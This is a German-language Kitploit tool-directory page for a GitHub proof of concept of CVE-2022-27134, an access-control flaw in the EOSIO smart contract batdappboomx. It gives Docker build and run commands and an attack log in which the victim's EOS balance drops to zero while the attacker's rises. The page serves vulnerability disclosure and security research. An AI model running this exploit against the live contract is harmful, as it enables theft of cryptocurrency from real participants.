Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-batdappboomx — CVE-2022-27134 | Kitploit
Tools/GitHubGitHub/kenun99/cve-batdappboomx
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubkenun99/cve-batdappboomx

CVE-batdappboomx

CVE-2022-27134

Repository anzeigen
1vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE ID

CVE-2022-27134

PRODUKT

batdappboomx ist ein öffentlicher Smart Contract, der auf der EOSIO-Blockchain läuft. Dieser Smart Contract belohnt seine Teilnehmer mit Kryptowährung, wenn sie zuvor eine Kryptowährung bezahlen.

Version

Die neueste Version dieses Smart Contracts. Der sha256-Hashcode des Smart Contracts lautet 1327c04cf4b56183eddb1a897bbebf5a873d3421272b708829a4ed0765bef820 Überprüfe es im Blockchain-Explorer https://bloks.io/account/batdappboomx.

PROBLEMTYP

Zugriffskontroll-Schwachstelle

BESCHREIBUNG

batdappboomx ist nicht quelloffen, aber wir haben mit WASAI eine Schwachstelle gefunden. Angreifer können an diesem Spiel teilnehmen, ohne etwas zu zahlen.

  1. Aktiviere die Umgebung
root@kitploit:~
git clone https://github.com/Kenun99/CVE-batdappboomx.git && cd CVE-batdappboomx
docker build -t localhost/client-eos:eos .
docker run --rm  --network host -it localhost/client-eos:eos
Tool herunterladen
  • Greife das Opfer an und stiehl seine Kryptowährung, d. h. EOS
    • root@kitploit:~
    info  2022-03-11T14:28:53.345 keosd     wallet_plugin.cpp:38          plugin_initialize    ]
...
warn  2022-03-11T14:28:53.355 keosd     wallet.cpp:218                save_wallet_file     ] saving wallet to file /root/eosio-wallet/./default.wallet
Creating wallet: default
Save password to use in the future to unlock this wallet.
Without password imported keys will not be retrievable.
saving password to /root/passwd
imported private key for: EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
[+] victim's balance: 100.00 -> 0.00
[+] attacker's balance: 10000000.00 10000100.00

[+] Attacked successfully. Got more cryptocurrency.